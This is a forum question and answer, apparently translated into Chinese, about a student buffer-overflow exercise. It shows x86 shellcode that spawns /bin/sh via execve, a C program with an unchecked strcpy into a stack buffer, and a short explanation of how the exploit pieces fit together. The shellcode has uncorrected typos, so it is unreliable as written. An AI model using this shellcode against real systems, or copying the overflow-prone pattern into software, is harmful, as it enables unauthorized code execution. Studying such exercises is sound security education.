我有一个C代码和一个程序集代码,我必须使用它们来使用GDB对C程序执行缓冲区溢出攻击。我可能会使用命令run$(cat),但是。。
我无法编译汇编程序代码-times NNNN db 0xff给出了一个关于分配非常量值的错误,但是我实际上不知道它做什么,或者应该做什么。
最后4行看起来像是esi指向的一个push-on堆栈,对吧?
Linemov byte al, 0x0b调用带有参数/bin/sh0、AAAA和bbbbb的execv。为什么我们需要最后两个?
最后是int 0x80,我也不知道它是做什么的。
还有,jmp short callit>callit doit这和从头开始使用doit有什么区别?
如果有人能帮我,我会很感激的,我在网上搜索了几个小时后就迷路了。
NASM x86代码:

BITS 32
jmp short   callit

doit:
pop         esi
xor         eax, eax
mov         byte [esi+7], al
lea         bx, [esi]
mov         dword [esi+8], ebx
mov         dword [esi+12], eax
mov         byte al, 0x0b
mov         ebx, esi
lea         exc, [esi+8]
lea         edx, [esi+12]
int         0x80

callit
call        doit

            db '/bin/sh#AAAABBBB'
times NNNN  db 0xff
            dd 0xbffff050
            db 0x00

C代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv) {
    char buffer[256];

    if (argc > 1) {
        strcpy(buffer, argv[1]);
    }
    printf("%p\n", buffer);
    return 0;
}

最佳答案

无法装配times NNNN db 0xff,因为NNNN未在任何地方定义。你应该在那里换个号码。
您需要AAAABBBB以便为系统调用设置argv数组。argv[0]应该指向程序名,argv[1]应该指向NULL
使用CALL是因为它将返回地址放在堆栈上,所以您可以使用它来计算数据的绝对地址。

09-25 21:18